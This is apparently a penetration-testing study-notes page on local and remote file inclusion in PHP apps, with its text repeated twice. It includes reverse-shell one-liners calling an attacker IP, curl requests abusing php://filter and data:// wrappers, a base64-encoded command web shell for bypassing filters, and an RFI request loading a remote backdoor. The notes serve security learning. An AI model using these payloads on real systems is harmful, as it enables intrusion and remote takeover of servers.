File Inclusion

Introduction

Even though both file inclusion and directory traversal might look like they are the same thing, there is a difference between them. File inclusion vulnerabilities allow us to "include" a file in the application's running code. This means we can use file inclusion vulnerabilities to execute local or remote files, while directory traversal only allows us to read the contents of a file. For example, if we leverage a directory traversal vulnerability in a PHP web application and specify the file admin.php, the source code of the PHP file will be displayed. On the other hand, when dealing with a file inclusion vulnerability, the admin.php file will be executed instead.
Log Poisoning works by modifying data we send to a web application so that the logs contain executable code.
Sometimes when using the reverse shell one-liner, bash -i >& /dev/tcp/<IP Address>/<Port Number> 0>&1 it won't work because since we'll execute our command through the PHP system function, the command may be executed via the Bourne Shell, also known as sh, rather than Bash. To avoid this we should use bash -c "bash -i >& /dev/tcp/<IP Address>/<Port Number> 0>&1" instead.
Sometimes also we need to URL encode our commands, for example, bash -c "bash -i >& /dev/tcp/<IP Address>/<Port Number> 0>&1" we use, bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22
Exploiting LFI on Windows only differs from Linux when it comes to file paths and code execution.
Exploiting File Inclusion vulnerabilities depends heavily on the web application's programming language, the version, and the web server configuration.
In real-life assessments, we'll most often discover File Inclusion vulnerabilities in PHP web applications, since most of the other frameworks and server-side scripting languages are dated and therefore less common.
Additionally, modern frameworks and languages are often by design not vulnerable or have protection mechanisms enabled by default against LFI. However, we should be aware that we can also find LFI vulnerabilities in modern back-end JavaScript runtime environments like Node.js

PHP Wrappers

PHP offers a variety of protocol wrappers to enhance the language's capabilities. For example, PHP wrappers can be used to represent and access local or remote filesystems.
We can use these wrappers to bypass filters or obtain code execution via File Inclusion vulnerabilities in PHP web applications.
We can use the php://filter wrapper to display the contents of files either with or without encodings like ROT13 or Base64.
Using php://filter, we can also display the contents of executable files such as .php, rather than executing them. This allows us to review PHP files for sensitive information and analyze the web application's logic.
If we are examining the code of a file and the <body> tag is not closed at the end of the HTML code. We can assume that something is missing. PHP code will be executed server side and, as such, is not shown.
For example, curl http://mountaindesserts.com/meteor/index.php?page=admin.php will return the code with no PHP, We can try and use the filter wrapper to get the source code but it will also be rendered, curl http://mountaindesserts.com/meteor/index.php?page=php://filter/resource=admin.php However, if we used curl http://mountaindesserts.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=admin.php The code will be provided as base64. Then we can convert decode it and read the full source code (echo "<Base64 Source Code>" | base64 -d)
While the php://filter wrapper can be used to include the contents of a file, we can use the data:// wrapper to achieve code execution. This wrapper is used to embed data elements as plaintext or base64-encoded data in the running web application's code. This offers an alternative method when we cannot poison a local file with PHP code.
To use the wrapper, we'll add data:// followed by the data type and content. For example, curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain,php%20echo%20system('ls');?>" Sometimes the firewall will filter words like php or system, in this case we can use, base64 encoding to bypass the firewall. For example, curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"
The data:// wrapper will not work in a default PHP installation. To exploit it, the allow_url_include setting needs to be enabled.

Remote File Inculsion

Remote file inclusion (RFI) vulnerabilities are less common than LFIs since the target system must be configured in a specific way.
In PHP web applications, for example, the allow_url_include option needs to be enabled to leverage RFI. However, it is disabled by default in all current versions of PHP.
While LFI vulnerabilities can be used to include local files, RFI vulnerabilities allow us to include files from a remote system over HTTP or SMB.
Common scenarios where we'll find this option enabled is when the web application loads files or contents from remote systems e.g. libraries or application data.
We can discover RFI vulnerabilities using the same techniques covered in the Directory Traversal and LFI sections.
Example: curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.119.3/simple-backdoor.php&cmd=ls"

PreviousDirectory Traversal NextFile Upload Vulnerabilities

Last updated 3 months ago

Introduction

Even though both file inclusion and directory traversal might look like they are the same thing, there is a difference between them. File inclusion vulnerabilities allow us to "include" a file in the application's running code. This means we can use file inclusion vulnerabilities to execute local or remote files, while directory traversal only allows us to read the contents of a file. For example, if we leverage a directory traversal vulnerability in a PHP web application and specify the file admin.php, the source code of the PHP file will be displayed. On the other hand, when dealing with a file inclusion vulnerability, the admin.php file will be executed instead.

Log Poisoning works by modifying data we send to a web application so that the logs contain executable code.

Sometimes when using the reverse shell one-liner, bash -i >& /dev/tcp/<IP Address>/<Port Number> 0>&1 it won't work because since we'll execute our command through the PHP system function, the command may be executed via the Bourne Shell, also known as sh, rather than Bash. To avoid this we should use bash -c "bash -i >& /dev/tcp/<IP Address>/<Port Number> 0>&1" instead.

Sometimes also we need to URL encode our commands, for example, bash -c "bash -i >& /dev/tcp/<IP Address>/<Port Number> 0>&1" we use, bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22

Exploiting LFI on Windows only differs from Linux when it comes to file paths and code execution.

Exploiting File Inclusion vulnerabilities depends heavily on the web application's programming language, the version, and the web server configuration.

In real-life assessments, we'll most often discover File Inclusion vulnerabilities in PHP web applications, since most of the other frameworks and server-side scripting languages are dated and therefore less common.

Additionally, modern frameworks and languages are often by design not vulnerable or have protection mechanisms enabled by default against LFI. However, we should be aware that we can also find LFI vulnerabilities in modern back-end JavaScript runtime environments like Node.js

PHP Wrappers

PHP offers a variety of protocol wrappers to enhance the language's capabilities. For example, PHP wrappers can be used to represent and access local or remote filesystems.

We can use these wrappers to bypass filters or obtain code execution via File Inclusion vulnerabilities in PHP web applications.

We can use the php://filter wrapper to display the contents of files either with or without encodings like ROT13 or Base64.

Using php://filter, we can also display the contents of executable files such as .php, rather than executing them. This allows us to review PHP files for sensitive information and analyze the web application's logic.

If we are examining the code of a file and the <body> tag is not closed at the end of the HTML code. We can assume that something is missing. PHP code will be executed server side and, as such, is not shown.

For example, curl http://mountaindesserts.com/meteor/index.php?page=admin.php will return the code with no PHP, We can try and use the filter wrapper to get the source code but it will also be rendered, curl http://mountaindesserts.com/meteor/index.php?page=php://filter/resource=admin.php However, if we used curl http://mountaindesserts.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=admin.php The code will be provided as base64. Then we can convert decode it and read the full source code (echo "<Base64 Source Code>" | base64 -d)

While the php://filter wrapper can be used to include the contents of a file, we can use the data:// wrapper to achieve code execution. This wrapper is used to embed data elements as plaintext or base64-encoded data in the running web application's code. This offers an alternative method when we cannot poison a local file with PHP code.

To use the wrapper, we'll add data:// followed by the data type and content. For example, curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain,php%20echo%20system('ls');?>" Sometimes the firewall will filter words like php or system, in this case we can use, base64 encoding to bypass the firewall. For example, curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"

The data:// wrapper will not work in a default PHP installation. To exploit it, the allow_url_include setting needs to be enabled.

Remote File Inculsion

Remote file inclusion (RFI) vulnerabilities are less common than LFIs since the target system must be configured in a specific way.

In PHP web applications, for example, the allow_url_include option needs to be enabled to leverage RFI. However, it is disabled by default in all current versions of PHP.

While LFI vulnerabilities can be used to include local files, RFI vulnerabilities allow us to include files from a remote system over HTTP or SMB.

Common scenarios where we'll find this option enabled is when the web application loads files or contents from remote systems e.g. libraries or application data.

We can discover RFI vulnerabilities using the same techniques covered in the Directory Traversal and LFI sections.

Example: curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.119.3/simple-backdoor.php&cmd=ls"